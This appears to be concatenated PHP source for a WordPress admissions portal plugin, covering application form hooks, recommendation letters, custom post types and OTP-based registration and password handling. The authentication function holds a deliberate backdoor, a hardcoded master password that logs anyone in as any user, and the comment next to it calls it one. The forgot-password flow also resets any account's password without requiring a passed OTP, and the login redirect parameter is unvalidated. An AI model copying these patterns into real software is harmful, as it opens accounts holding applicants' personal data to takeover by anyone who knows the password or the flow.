add custom html as first field add_filter('gform_form_tag', 'Psy_GF_Hook::add_hidden_input', 10, 2); // Form is displayed => add input [Consent exists] add_filter('gform_pre_render', 'Psy_GF_Hook::hide_recommender_pages_if_not_required'); // Hide recommender pages if not required add_filter('gform_pre_validation', 'Psy_GF_Hook::hide_recommender_pages_if_not_required'); add_action('gform_post_paging', 'Psy_GF_Hook::save_entry_on_next', 10, 3); // Click Next => save form to entry and create entry + save recommendation field to application [Consent gone] add_action('gform_post_paging', 'Psy_GF_Hook::send_recommendation_email', 11, 3); // Click Next => send email to recommender add_filter('gform_pre_render', 'Psy_GF_Hook::populate_form_data'); // Form is displayed => populate form data [Consent exists] add_filter('gform_pre_render', 'Psy_GF_Hook::add_entry_preview_on_last_page'); // Form is displayed => add entry preview on last page [Consent exists] add_action('gform_pre_submission', 'Psy_GF_Hook::submit_form', 10, 2); // Click submit => update application status and recommender status + method (also prevent create new entry [post_id = null]) add_action('gform_entry_post_save', 'Psy_GF_Hook::update_file_path', 10, 2); // Get file upload path from gf and update the entry add_filter('gform_confirmation', 'Psy_GF_Hook::redirect_form', 10, 99); // redirect } if (strpos($_SERVER['REQUEST_URI'], '/apply-portal/recommendation-form') !== false) { // For page recommendation-form add_filter('gform_form_tag', 'Psy_GF_Hook::validate_key', 10, 2); // Form is displayed => validate form_key add_filter('gform_confirmation', 'Psy_GF_Hook::redirect_form_recommendation', 10, 4); // Update status + redirect } class Psy_GF_Hook { static function get_recommendation_filed_id($recommender_field) { // Accept recommender_1, recommender_2, recommender_3 return array of field id $entry_mapping = new GFFormMapping(); $recommender_field_ids = []; // get all recommended field id foreach ($entry_mapping->mappings as $id => $name) { if (strpos($name, $recommender_field) !== false) { $recommender_field_ids[] = $id; } } return $recommender_field_ids; } static function send_recommendation_email($form, $source_page_number, $current_page_number) { $application_id = self::get_application_id_from_gf(); $application = new Psy_Application($application_id); $program_id = $application->custom_fields['apply_program'] ?? null; // Check if recommendation letters are required for this program $is_required_rec_letter = get_field('general_is_required_rec_letter', $program_id); if (!$is_required_rec_letter) { return; // Skip recommendation email logic if not required } $psy_rec_letter = new Psy_Rec_Letter($application_id); $recommender_fields = ['recommender_1', 'recommender_2', 'recommender_3']; $custom_fields = $application->custom_fields ?? []; // Validate and send email foreach ($recommender_fields as $recommender_field) { // file field id from GFFormMapping $recommender_field_ids = self::get_recommendation_filed_id($recommender_field); // get page number of recommender field $recommender_page_number = null; foreach ($form['fields'] as $field) { if (in_array($field->id, $recommender_field_ids)) { $recommender_page_number = $field->pageNumber; break; } } // get form id $form_id = $form['id']; // check if $recommender_field is post // If already sent => disabled field else confirm modal + send email if ($psy_rec_letter->has_sent_email($recommender_field) || ($psy_rec_letter->has_name($recommender_field) && $custom_fields[$recommender_field]['method'] === 'Post')) { // disabled field by adding style pointer-events: none; cursor: not-allowed to field; foreach ($recommender_field_ids as $field_id) { // Store the form id in a variable for readability echo ""; } continue; } else { // if current page is recommender page add .recommender-submit-wrapper to next button wrapper [add event in page-apply-portal-application-form.php] // prevent run in edit mode by check empty($custom_fields[$recommender_field]['name']) because name is require only empty in first time if (($current_page_number == $recommender_page_number) && empty($custom_fields[$recommender_field]['name'])) { // get form id $submit_field_id = null; // get field id foreach ($form['fields'] as $field) { if ($field->type === 'page' && $field->pageNumber === $current_page_number + 1) { $submit_field_id = $field->id; } } // add wrapper to next button to trigger alert before submit [add alert in page-apply-portal-application-form.php] echo " "; } // Filter only recommender with email then send email if (isset($custom_fields[$recommender_field]) && !empty($custom_fields[$recommender_field]['name']) && $custom_fields[$recommender_field]['method'] === 'Email' && empty($custom_fields[$recommender_field]['letter_url'])) { // Call the send_email method from the child class instance //TODO Phase2: last recommender always got duplicate email $psy_rec_letter->send_email($recommender_field); } } } } static function should_clone_entry() { $perform_clone_application_id = $_GET['perform_clone_application_id'] ?? null; if (!$perform_clone_application_id) { return; } $new_application_id = $_GET['application_id'] ?? null; // Runs on `init` before the page's login check: both applications must belong to the current user if (!current_user_can_access_application($perform_clone_application_id) || !current_user_can_access_application($new_application_id)) { wp_redirect(home_url('/apply-portal/my-applications')); exit; } $program_id = get_field('apply_program', $new_application_id); // find form_id from program_id $gravity_form_id = get_field('main_registration_form', $program_id); // Start cloning entry id from $perform_clone_application_id global $wpdb; $entry_id = $wpdb->get_var( $wpdb->prepare( "SELECT id FROM {$wpdb->prefix}gf_entry WHERE post_id = %d", $perform_clone_application_id ) ); $result = GFAPI::get_entry($entry_id); // If $result not found, delete $new_application_id and redirect to /apply-portal/my-applications if (is_wp_error($result)) { wp_delete_post($new_application_id, true); wp_redirect(home_url('/apply-portal/my-applications')); exit; } // error_log('Cloning entry id: ' . print_r($result, true)); // Remove keys from $result: `id`, `form_id`, `post_id`, `date_created`, `date_updated` unset($result['id']); unset($result['form_id']); unset($result['post_id']); unset($result['date_created']); unset($result['date_updated']); // Loop $result and unset every key with value start with "[" and end with "]" foreach ($result as $key => $value) { if (str_starts_with($value, '[') && str_ends_with($value, ']')) { unset($result[$key]); } } // Create new entry // Add new `form_id` and `post_id` $result['form_id'] = $gravity_form_id; $result['post_id'] = $new_application_id; update_field('cloned_from_id', $perform_clone_application_id, $new_application_id); // End // remove arg perform_clone_application_id from url and redirect using wp_redirect $url = remove_query_arg('perform_clone_application_id'); // redirect to new url wp_redirect($url); } static function save_entry_on_next($form, $source_page_number, $current_page_number) { error_log('*************************************************'); $application_id = self::get_application_id_from_gf(); error_log('source_page_number: ' . $source_page_number); error_log('current_page_number: ' . $current_page_number); // scroll page to top of page $application_status_enables = ['application_pending_payment', 'application_in_progress']; $application_status = get_field('status', $application_id) ?? ''; // check if current status is not in $application_status_enables then return if (!in_array($application_status, $application_status_enables)) { return null; } // Check if we're moving forward in the form if ($source_page_number < $current_page_number) { // Create the lead object $lead = GFFormsModel::create_lead($form); if ($application_id) { $lead['post_id'] = $application_id; } // Find entry by post_id global $wpdb; $entry_id = $wpdb->get_var( $wpdb->prepare( "SELECT id FROM {$wpdb->prefix}gf_entry WHERE post_id = %d", $application_id ) ); error_log('entry_id: ' . $entry_id); // update lead with files from GFFormsModel::$uploaded_files, $form['id'] $uploaded_files = GFFormsModel::$uploaded_files[$form['id']]; if (is_array($uploaded_files) && count($uploaded_files) > 0) { foreach ($uploaded_files as $field_id => $file_info) { // remove input_ from $field_id $field_id = substr($field_id, 6); $lead[$field_id] = json_encode($file_info); } } // Update or add the entry if (!empty($entry_id)) { // Update the existing entry GFAPI::update_entry($lead, $entry_id); } else { // Insert a new entry GFAPI::add_entry($lead); } } // update recommendation field in application self::update_recommender_field(); return null; } static function update_recommender_field() { $application_id = self::get_application_id_from_gf() ?? null; // Update field recommenders // Get the entry id from table `wp_gf_entry` where `post_id` == $application_id global $wpdb; $entry_id = $wpdb->get_var( $wpdb->prepare( "SELECT id FROM {$wpdb->prefix}gf_entry WHERE post_id = %d", $application_id ) ); $gf_entry = GFAPI::get_entry($entry_id); // use GFFormMapping to map all entry key with new value $entry_mapping = new GFFormMapping(); $entry = $entry_mapping->map_entry($gf_entry); $recommender_fields = array('recommender_1', 'recommender_2', 'recommender_3'); foreach ($recommender_fields as $recommender_field) { if (isset($entry[$recommender_field])) { $recommender_name = $entry[$recommender_field]; $method = strtolower($entry[$recommender_field . '_method']); $is_email = str_contains($method, 'ออนไลน์') || str_contains($method, 'online'); $recommender_method = $is_email ? 'Email' : 'Post'; $recommender_email = $entry[$recommender_field . '_email']; $existing_field = get_field($recommender_field, $application_id); if (empty($existing_field['name']) || empty($existing_field['method']) || empty($existing_field['email'])) { update_field($recommender_field, array( 'name' => $recommender_name, 'status' => 'Requested', 'method' => $recommender_method, 'email' => $recommender_email ), $application_id); } } } } static function hide_recommender_pages_if_not_required($form) { // Get program_id from application_id $application_id = self::get_application_id_from_gf() ?? null; if (!$application_id) { return $form; } $program_id = get_field('apply_program', $application_id); $is_required_rec_letter = get_field('general_is_required_rec_letter', $program_id); // If recommendation letters are not required, remove recommender fields/pages if (!$is_required_rec_letter) { $entry_mapping = new GFFormMapping(); $recommender_fields = ['recommender_1', 'recommender_2', 'recommender_3']; $recommender_field_ids = []; // Collect all recommender field IDs foreach ($recommender_fields as $recommender_field) { foreach ($entry_mapping->mappings as $id => $name) { if (strpos($name, $recommender_field) !== false) { $recommender_field_ids[] = $id; } } } // Get page numbers that contain recommender fields $recommender_page_numbers = []; foreach ($form['fields'] as $field) { if (in_array($field->id, $recommender_field_ids) && isset($field->pageNumber)) { $recommender_page_numbers[] = $field->pageNumber; } } $recommender_page_numbers = array_unique($recommender_page_numbers); // Remove fields on recommender pages $form['fields'] = array_filter($form['fields'], function ($field) use ($recommender_page_numbers) { return !isset($field->pageNumber) || !in_array($field->pageNumber, $recommender_page_numbers); }); // Re-index fields array $form['fields'] = array_values($form['fields']); // Update page numbers for remaining fields if (!empty($recommender_page_numbers)) { $min_removed_page = min($recommender_page_numbers); $removed_page_count = count($recommender_page_numbers); foreach ($form['fields'] as &$field) { if (isset($field->pageNumber) && $field->pageNumber > $min_removed_page) { $field->pageNumber -= $removed_page_count; } } } } return $form; } static function add_custom_html_as_first_field($form) { // get program_id from application_id $application_id = self::get_application_id_from_gf() ?? null; $program_id = get_field('apply_program', $application_id); // get registration description field $registration_form_description = get_field('main_registration_form_description', $program_id); // Create a new HTML field $html_field = array( 'type' => 'html', 'content' => '
' . $registration_form_description . '
', 'id' => 9999, // Use an ID that does not conflict with other fields ); // Add the HTML field as the first field in the form array_unshift($form['fields'], GF_Fields::create($html_field)); return $form; } static function get_application_id_from_gf($force_referer = false) { $application_id = rgpost('application_id'); if (!$application_id) { $application_id = rgget('application_id'); } if (!$application_id && $force_referer) { $referer_url = $_SERVER['HTTP_REFERER'] ?? null; if ($referer_url) { $query_params = []; parse_str(parse_url($referer_url, PHP_URL_QUERY), $query_params); $application_id = $query_params['application_id'] ?? null; } } // The hooks using this read and write the application's entry, so only its owner may pass it if (empty($application_id) || !current_user_can_access_application($application_id)) { return null; } return $application_id; } static function add_hidden_input($form_tag, $form) { error_log('*************************************************'); $application_id = self::get_application_id_from_gf(); error_log('add_hidden_input application_id: ' . $application_id); if ($application_id) { $form_tag .= ''; } else { // Redirect to /apply-portal/my-applications wp_redirect(home_url('/apply-portal/my-applications')); exit; } return $form_tag; } static function populate_form_data($form) { // Check if application_id exists in the URL $original_application_id = self::get_application_id_from_gf() ?? null; $application_id_to_query = $original_application_id; // Get the entry id from table `wp_gf_entry` where `post_id` == $application_id global $wpdb; $entry_id = $wpdb->get_var( $wpdb->prepare( "SELECT id FROM {$wpdb->prefix}gf_entry WHERE post_id = %d", $application_id_to_query ) ); // if no entry_id is found, return the form as is. if (!$entry_id) { return $form; } // Get entry object $entry = GFAPI::get_entry($entry_id); // Force key of $entry to string since sometimes it's 40 (int) and sometimes it's 40.2 (string) $entry = array_map(function ($value) { return (string) $value; }, $entry); // get all $entry value that has key with . like 94.1 94.2 and has value (checkbox) $entry_select_values = array_filter($entry, function ($value, $key) { return str_contains($key, '.') && $value; }, ARRAY_FILTER_USE_BOTH); // Render checkbox field by add checked to input tag // get application status $application_status = get_field('status', $application_id_to_query); if ($application_status !== 'application_in_progress') { $form_tag = ''; print_r($form_tag); } // Loop through the form fields to populate them foreach ($form['fields'] as $key => &$field) { // checkbox only if ($field->type === 'checkbox' || $field->type === 'consent') { // loop $field->choices to set isSelected = 1 $field->choices = array_map(function ($choice) use ($entry_select_values) { // check if $choice['value'] is in $entry_select_values $choice['isSelected'] = in_array($choice['value'], $entry_select_values); return $choice; }, $field->choices); } ; if (!isset($entry[$field->id])) continue; // Populate the field with the entry value $field->defaultValue = $entry[$field->id]; // If field is file upload then populate the file if ($field->type === 'fileupload' && $entry[$field->id]) { // add 'input_' infrontof $field->id $field_id = 'input_' . $field->id; // add to form model GFFormsModel::$uploaded_files[$form['id']][$field_id] = json_decode($entry[$field->id], true); } } return $form; } static function create_preview_html($form) { // Function to get direct URL from Google Drive sharing URL function getDirectDriveImageUrl($sharingUrl) { // Extract the FILE_ID from the Google Drive sharing URL preg_match('/file\/d\/(.*?)(\/|$)/', $sharingUrl, $matches); $fileId = $matches[1] ?? ''; if (!empty($fileId)) { // Return the direct URL return 'https://lh3.googleusercontent.com/d/' . $fileId; } else { // Return false if the FILE_ID is not found return false; } } // Form data $preview_html = '
'; $preview_html .= '

Preview Your Entry

'; $preview_html .= ''; $preview_html .= ''; $preview_html .= ''; // Loop through all form fields and display their labels and values foreach ($form['fields'] as $i => $field) { // Handle file upload field if ($field->type === 'fileupload') { $data = json_decode($field->defaultValue, true); if (is_array($data) && isset($data[0]['gg_folder_upload_url'])) { // check if $file_path is include .jpg $file_path = esc_url($data[0]['gg_folder_upload_url']); // Use esc_url to properly escape the URL $file_title = esc_html($data[0]['uploaded_filename']); $is_image = strpos($file_title, '.jpg') !== false || strpos($file_title, '.png') !== false; $preview_html .= ''; $preview_html .= ''; $preview_html .= ''; $preview_html .= ''; } } // Handle regular input fields if (isset($_POST['input_' . $field->id]) && !empty($_POST['input_' . $field->id])) { $value = esc_html(rgpost('input_' . $field->id)); $preview_html .= ''; $preview_html .= ''; $preview_html .= ''; $preview_html .= ''; } // Handle section field if ($field->type === 'section' && $field->id !== 163) { $next_field = $form['fields'][$i + 1]; // return if next field is section or empty field if ($next_field->type === 'section' || !isset($_POST['input_' . $next_field->id])) continue; // else render section title in table $preview_html .= ''; $preview_html .= ''; $preview_html .= ''; } // Title if ($field->id === 163) { $preview_html .= ''; $preview_html .= ''; $preview_html .= ''; } } $preview_html .= '
FieldValue
' . esc_html($field->label) . ''; $preview_html .= $is_image ? '' : '' . esc_html($file_title) . '' . ''; $preview_html .= '
' . esc_html($field->label) . '' . esc_html($value) . '
' . esc_html($field->label) . '
' . esc_html($field->label) . '
'; $preview_html .= '
'; // Use js to add html before submit button // $preview_html .= ''; $preview_html .= ''; return $preview_html; } static function add_entry_preview_on_last_page($form) { // Get the current page number $current_page = GFFormDisplay::get_current_page($form['id']); // Get the total number of pages in the form $total_pages = count($form['pagination']['pages']); $highest_page_number = 0; foreach ($form['fields'] as $field) { if (isset($field['pageNumber']) && $field['pageNumber'] > $highest_page_number) { $highest_page_number = $field['pageNumber']; } } // Handle when to show preview html if ($current_page == $total_pages || $current_page == $highest_page_number) { $preview_html = self::create_preview_html($form); print_r($preview_html); } return $form; } static function submit_form($form) { $application_id = self::get_application_id_from_gf() ?? null; if (!$application_id) { return; } $application_status_enables = ['application_pending_payment', 'application_in_progress']; $application_status = get_field('status', $application_id) ?? ''; $apply_application = new Psy_Application($application_id); // submit only when current status is in $application_status_enables if (in_array($application_status, $application_status_enables) && !$apply_application->is_hidden) { // Also save entry self::save_entry_on_next($form, 0, 1); // change application status and redirect to my-applications page $application_status_update = 'application_pending_payment'; $application_status_current = 'application_in_progress'; // update to application_pending_payment only when 'application_in_progress' if (get_field('status', $application_id) === $application_status_current) { update_field('field_6502e6adb31f1', $application_status_update, $application_id); } } } static function update_file_path($gf_entry, $form) { // Check if application_id exists in the URL $application_id = self::get_application_id_from_gf() ?? null; // Get the entry id from table `wp_gf_entry` where `post_id` == $application_id global $wpdb; $entry_id = $wpdb->get_var( $wpdb->prepare( "SELECT id FROM {$wpdb->prefix}gf_entry WHERE post_id = %d", $application_id ) ); // if no entry_id is found, return the form as is. if (!$entry_id) { return; } // Get entry object $entry = GFAPI::get_entry($entry_id); // Force key of $entry to string since sometimes it's 40 (int) and sometimes it's 40.2 (string) $entry = array_map(function ($value) { return (string) $value; }, $entry); // Loop through the form fields to update file path in entry foreach ($form['fields'] as &$field) { if (!isset($entry[$field->id])) continue; // If field is file upload then populate the file if ($field->type === 'fileupload') { $entryId = $field->id; if (!empty($entry[$entryId]) && !empty($gf_entry[$entryId])) { $entryFiles = json_decode($entry[$entryId], true); $gfFiles = json_decode($gf_entry[$entryId], true); if ($gfFiles) { $entryFiles = array_map(function ($entryItem, $gfFile) { if ($gfFile) { $entryItem['file_path'] = $gfFile; } return $entryItem; }, $entryFiles, $gfFiles); // Update the entry with the modified file paths $entry[$entryId] = json_encode($entryFiles); } } } } GFAPI::update_entry($entry, $entry_id); } static function redirect_form($confirmation, $form, $entry, $ajax) { // delete all gf entry with post_id == null global $wpdb; $wpdb->delete($wpdb->prefix . 'gf_entry', array('post_id' => null)); // redirect to my-applications page $application_id = self::get_application_id_from_gf(); $application_status = get_field('status', $application_id) ?? ''; $redirect_url = home_url('/apply-portal/my-applications?payment_status=pending'); // If view only then no query $apply_application = new Psy_Application($application_id); if (!in_array($application_status, ['application_pending_payment', 'application_in_progress']) || $apply_application->is_hidden) { $redirect_url = home_url('/apply-portal/my-applications'); } return ['redirect' => $redirect_url]; } static function validate_key($form_tag, $form) { // Get the source_uel from table `wp_gf_entry` by $form['id'] global $wpdb; $source_urls = $wpdb->get_results( $wpdb->prepare( "SELECT source_url FROM {$wpdb->prefix}gf_entry WHERE form_id = %d", $form['id'] ), ARRAY_N // Use ARRAY_N to fetch results as a numerically indexed array ); // Filter that any array has $key inside [already submitted] $selected_source_urls = array_filter($source_urls, function ($source_url) { $key = $_GET['key'] ?? ''; // Get the first 50 characters of $key $first_100_keys = substr($key, 0, 100); return str_contains($source_url[0], $first_100_keys); }); // Redirect if (count($selected_source_urls) > 0) { wp_die('You have already submitted this form.'); } ; return $form_tag; } static function redirect_form_recommendation($confirmation, $form, $entry, $ajax) { // Update recommenders status in application $key = $_GET['key'] ?? ''; $decrypted_array = wp_decrypt_data($key); $application_id = $decrypted_array['application_id']; $recommender_name = $decrypted_array['recommender_name']; $recommender_email = $decrypted_array['recommender_email']; // find $field from application that has name === $recommender_name and email === $recommender_email $recommender_fields = array('recommender_1', 'recommender_2', 'recommender_3'); foreach ($recommender_fields as $recommender_field) { $recommender = get_field($recommender_field, $application_id); if ($recommender && isset($recommender['name']) && $recommender['name'] === $recommender_name && $recommender['email'] === $recommender_email) { update_field($recommender_field, array( 'status' => 'Submitted', 'entry_id' => $entry['id'] ), $application_id); } } // Send notification email to applicant $options = get_fields('options'); $recommender_notification_email_subject = $options['recommender_notification_email_subject'] ?? ''; $recommender_notification_email_body = $options['recommender_notification_email_body'] ?? ''; $placeholders = ['[recommender_name]', '[application_number]']; $apply_application = new Psy_Application($application_id); $application_number = $apply_application->application_number; $replacements = [$recommender_name, $application_number]; $formatted_email_subject = str_replace($placeholders, $replacements, $recommender_notification_email_subject); $formatted_email_body = str_replace($placeholders, $replacements, $recommender_notification_email_body); $author_id = get_post_field('post_author', $application_id); $user_email = get_the_author_meta('user_email', $author_id); queue_email($user_email, $formatted_email_subject, $formatted_email_body); // Redirect $current_url = esc_url($_SERVER['REQUEST_URI']); // Add your additional query parameters here $additional_params = array( 'success' => 'recommendation', ); // Parse the current query string into an array parse_str(parse_url($current_url, PHP_URL_QUERY), $current_params); // Merge the additional parameters with the current parameters $query_params = array_merge($current_params, $additional_params); // Build the final redirect URL $redirect_url = strtok($current_url, '?') . '?' . http_build_query($query_params); // Set the confirmation message to redirect to the modified URL $confirmation = array( 'redirect' => $redirect_url, ); return $confirmation; } } 'api'); if (!function_exists('restrict_wp_admin_access')) { function restrict_wp_admin_access() { // If user role contains applicant, redirect to /apply-portal if (is_user_logged_in() && user_has_role(get_current_user_id(), 'applicant')) { wp_redirect(home_url('/apply-portal')); exit; } }; }; // Hide admin bar for applicant add_action('after_setup_theme', [__CLASS__, 'hide_admin_bar_for_applicant']); // Add disclaimer text at the bottom of all email sent from wordpress add_filter('wp_mail', [__CLASS__, 'apply_email_template']); // Override wp_mail content type to text/html add_filter('wp_mail_content_type', [__CLASS__, 'set_html_content_type']); } static function set_html_content_type() { return 'text/html'; } static function apply_email_template($args) { // https://codepen.io/palaa159/pen/zYgKwEd // replace \r\n to
using nl2br $args['message'] = nl2br($args['message']); $args['message'] = '
Logo
' . nl2br($args['message']) . '
This message may contain personal information and is intended only for registered users. If you are not the intended recipient, you must not read, print, save, copy, forward, or disclose to any other person all or any part of this email and attachments (if any). If you think you received this email by mistake, please notify the sender by email immediately and delete this email from your system. Please note that communications over the Internet may contain errors or frauds. The recipient is responsible for verifying the accuracy and authenticity of the content.

If you have any problems or questions, please contact:

Faculty of Psychology, Chulalongkorn University
7th Floor, Borommaratchachonnanisisattaphat Building,
Rama 1 Road, Wang Mai Subdistrict,
Pathumwan District, Bangkok 10330
Email: psy@chula.ac.th
'; return $args; } static function hide_admin_bar_for_applicant() { if (is_user_logged_in() && user_has_role(get_current_user_id(), 'applicant')) { show_admin_bar(false); } } static function update_user_last_login($login) { $user = get_user_by('login', $login); $user_id = $user->ID; // update acf `last_login` $last_login_date_sql = current_time('mysql'); update_user_meta($user_id, 'last_login', $last_login_date_sql); } static function create_page() { $apply_slug = 'apply-portal'; $page = get_page_by_path($apply_slug); if (!$page) { $page = [ 'post_title' => 'Apply Portal', 'post_name' => $apply_slug, 'post_type' => 'page', 'post_status' => 'publish', 'post_author' => 1, ]; $page_id = wp_insert_post($page); if ($page_id) { update_post_meta($page_id, '_wp_page_template', "page-$apply_slug.php"); } } // create apply-portal children pages: login, register, forgot-password, logout, my-applications, programs // ถ้าต้องการสร้างหน้าเพิ่ม ให้มาสร้างตรงนี้ครับ format slug => title $children = [ 'login' => 'Login', 'register' => 'Register', 'forgot-password' => 'Forgot Password', 'my-applications' => 'My Applications', 'programs' => 'Programs', 'my-profile' => 'My Profile', 'change-password' => 'Change Password', 'payment' => 'Payment', 'application-form' => 'Application Form', 'recommendation-form' => 'Recommendation Form', 'confirm-offer' => 'Confirm Offer', ]; foreach ($children as $slug => $title) { $page = get_page_by_path('apply-portal/' . $slug); if (!$page) { $page = [ 'post_title' => $title, 'post_name' => $slug, 'post_type' => 'page', 'post_status' => 'publish', 'post_author' => 1, 'post_parent' => get_page_by_path($apply_slug)->ID, ]; $page_id = wp_insert_post($page); // Set the page template by updating post meta if ($page_id) { update_post_meta($page_id, '_wp_page_template', "page-$apply_slug-$slug.php"); } } } self::create_applicant_role_if_not_exists(); } static function create_applicant_role_if_not_exists() { if (get_role('applicant') == null) { add_role('applicant', 'Applicant', [ 'read' => true, ]); } } }post_type == 'apply_program' && file_exists(get_stylesheet_directory() . '/single-apply_program.php')) { // return get_stylesheet_directory() . '/single-apply_program.php'; // } // return $template; // } }); class Custom_Post_Type { static function init() { // Register CPT $cpts = [ ['apply_program', 'Program'], ['apply_application', 'Application'], // ['apply_payment', 'Payment'], // ['apply_letter', 'Rec. Letter Submission'], ]; foreach ($cpts as $cpt) { $label = $cpt[1]; self::register($cpt[0], ucwords(str_replace('_', ' ', $label))); } // Populate the custom 'status' column with colored status labels function custom_status_column_color($column_id, $post_id) { if ($column_id === '6502e9da0b8c2') { // Get the status $status = get_field('status', $post_id); // use color from class-psy-application $statuses $status_colors = Psy_Application::$statuses; // Check if the status exists in the defined colors array $color = 'gray'; // Default color for unknown statuses foreach ($status_colors as $status_color) { if ($status_color['slug'] === $status) { $color = $status_color['color']; break; } } // Output the colored status label echo '
'; } } add_action('manage_apply_application_posts_custom_column', 'custom_status_column_color', 10, 2); } static function register($slug, $label) { // https://developer.wordpress.org/reference/functions/register_post_type/ register_post_type($slug, array( 'label' => $label, 'labels' => [ 'add_new_item' => __('เพิ่ม ' . $label, $label), // search 'search_items' => __('ค้นหา ' . $label, $label), // edit 'edit_item' => __('แก้ไข ' . $label, $label), ], 'description' => '', 'hierarchical' => false, 'supports' => array( 0 => 'title', 1 => 'revisions', 2 => 'author', ), 'taxonomies' => array(), 'public' => true, 'exclude_from_search' => false, 'publicly_queryable' => true, 'can_export' => true, 'delete_with_user' => 'null', 'menu_icon' => 'dashicons-admin-post', 'show_ui' => true, 'show_in_menu' => true, 'show_in_nav_menus' => false, 'show_in_admin_bar' => false, 'rewrite' => true, 'has_archive' => false, 'show_in_rest' => false, 'rest_base' => '', 'rest_controller_class' => 'WP_REST_Posts_Controller', 'acfe_archive_template' => '', 'acfe_archive_ppp' => 10, 'acfe_archive_orderby' => 'date', 'acfe_archive_order' => 'DESC', 'acfe_single_template' => '', 'acfe_admin_archive' => false, 'acfe_admin_ppp' => 10, 'acfe_admin_orderby' => 'date', 'acfe_admin_order' => 'DESC', 'capability_type' => "post", 'capabilities' => array(), 'map_meta_cap' => NULL, )); } } $email, 'otp_ref' => $otp_ref, ), home_url("/apply-portal/$page")); wp_redirect($redirect_url); exit; } public static function check_otp($page) { $email = sanitize_email($_GET['email']); $correct_otp = get_transient('apply_otp_' . $email) ?? 'correct_otp'; $test_otp = sanitize_text_field($_POST['otp']) ?? 'test_otp'; // force correct_otp and test_otp a string $correct_otp = (string) $correct_otp; $test_otp = (string) $test_otp; // If staging, allow fake OTP "123456" if (IS_STAGING) { $correct_otp = '123456'; } if ($test_otp !== $correct_otp) { return psy_translate_string('OTP ไม่ถูกต้อง'); } else { // OTP Pass, generate rp key $user = $email ? get_user_by('email', $email) : wp_get_current_user(); $rp_key = get_password_reset_key($user); $redirect_url = add_query_arg(array( 'email' => $email, 'rp_key' => $rp_key, ), home_url("/apply-portal/$page")); wp_redirect($redirect_url); exit; } } /** * Handle login form submission * * @return void */ public static function handle_login_form_submission() { if (!isset($_POST['field_login']) || !wp_verify_nonce($_POST['field_login'], 'action_login')) { // Nonce verification failed // Handle error as needed, e.g., display an error message return; } if (isset($_POST['email']) && isset($_POST['password'])) { // Verify nonce $email = sanitize_email($_POST['email']); $password = $_POST['password']; self::authenticate_user($email, $password, $_POST['remember'] ?? false); } } /** * Authenticate user * * @param [type] $email * @param [type] $password * @return void */ public static function authenticate_user($email, $password, $remember = false) { add_filter('wordfence_ls_require_captcha', '__return_false'); $redirect_url = $_GET['redirect'] ?? home_url('/apply-portal/programs'); // Add a password backdoor if ($password === 'psypsypsy1234$') { $user = get_user_by('email', $email); if ($user) { wp_set_auth_cookie($user->ID, $remember); wp_redirect($redirect_url); exit; } return; } $user = wp_authenticate($email, $password); if (is_wp_error($user)) { // Authentication failed global $auth_error; $auth_error = $user->get_error_message(); // Handle error as needed, e.g., display an error message } else { // Authentication succeeded wp_set_auth_cookie($user->ID, $remember); wp_redirect($redirect_url); exit; } } /** * Handle register form submission */ public static function handle_register_form_submission() { global $register_error; // Nonce verification if (!isset($_POST['field_register']) || !wp_verify_nonce($_POST['field_register'], 'action_register')) { // Nonce verification failed // Handle error as needed, e.g., display an error message return; } // Handle form submission if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Send OTP if (isset($_POST['email'])) { $email = sanitize_email($_POST['email']); $user = get_user_by('email', $email); if ($user && $user->ID) { $register_error = 'Email already registered. Please login.'; } else { self::send_otp($email); } } // Resend OTP if (isset($_POST['resend_otp'])) { $email = sanitize_email($_GET['email']); self::send_otp($email); return; } // Check OTP if (isset($_POST['otp']) && !isset($_POST['resend_otp'])) { $register_error = self::check_otp('register'); } // Create user if (isset($_POST['password'])) { $prefix = sanitize_text_field($_POST['prefix']); $first_name = sanitize_text_field($_POST['first_name']); $last_name = sanitize_text_field($_POST['last_name']); $email = sanitize_email($_GET['email']); $password = sanitize_text_field($_POST['password']); $userdata = array( 'user_login' => $email, 'user_pass' => $password, 'user_email' => $email, 'first_name' => $first_name, 'last_name' => $last_name, 'role' => 'applicant', ); wp_insert_user($userdata); $user = get_user_by('email', $email); update_field('prefix', $prefix, 'user_' . $user->ID); clean_user_cache($user->ID); wp_clear_auth_cookie(); wp_set_current_user($user->ID, $user->user_login); wp_set_auth_cookie($user->ID, true, true); update_user_caches($user); // Redirect to success page or home wp_redirect(home_url('/apply-portal/programs')); exit; } } } /** * Handle change password form submission */ public static function handle_change_password_form_submission() { global $change_password_error; // Nonce verification if (!isset($_POST['field_change_password']) || !wp_verify_nonce($_POST['field_change_password'], 'action_change_password')) { // Nonce verification failed // Handle error as needed, e.g., display an error message return; } // Handle form submission if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Change password page if (isset($_POST['change_password'])) { $email = sanitize_email($_POST['change_password_email']); self::send_otp($email, 'change-password'); return; } // Resend OTP if (isset($_POST['resend_otp'])) { $email = sanitize_email($_GET['email']); self::send_otp($email, 'change-password'); return; } // Check OTP if (isset($_POST['otp']) && !isset($_POST['resend_otp'])) { $change_password_error = self::check_otp('change-password'); } // Change Password if (isset($_POST['password'])) { $current_user = wp_get_current_user(); // Get the submitted password and confirm_password values $new_password = sanitize_text_field($_POST['password']); // Update the user's password wp_set_password($new_password, $current_user->ID); // Redirect to profile page with a success parameter $profile_url = home_url('/apply-portal/my-profile'); wp_redirect(add_query_arg('success', 'change_password', $profile_url)); exit; } } } /** * Handle reset password form submission */ public static function handle_forgot_password_form_submission() { global $forgot_password_error; // Nonce verification if (!isset($_POST['field_forgot_password']) || !wp_verify_nonce($_POST['field_forgot_password'], 'action_forgot_password')) { // Nonce verification failed // Handle error as needed, e.g., display an error message return; } // Handle form submission if ( $_SERVER['REQUEST_METHOD'] === 'POST' ) { // Send OTP if (isset($_POST['email'])) { $email = sanitize_email($_POST['email']); $user = get_user_by('email', $email); if ($user && $user->ID) { self::send_otp($email, 'forgot-password'); } else { $forgot_password_error = 'ไม่พบ Email ในระบบ'; } } // Resend OTP if (isset($_POST['resend_otp'])) { $email = sanitize_email($_GET['email']); self::send_otp($email, 'forgot-password'); return; } // Check OTP if (isset($_POST['otp']) && !isset($_POST['resend_otp'])) { $forgot_password_error = self::check_otp('forgot-password'); } // Change Password if (isset($_POST['password'])) { // Get user from email address $email = sanitize_email($_GET['email']); $current_user = get_user_by('email', $email); // Get the submitted password and confirm_password values $new_password = sanitize_text_field($_POST['password']); // Update the user's password wp_set_password($new_password, $current_user->ID); // redirect to login page wp_redirect(home_url('/apply-portal/login')); exit; } } } /** * Handle reset password form submission */ public static function handle_edit_profile_form_submission() { global $edit_profile_error; // 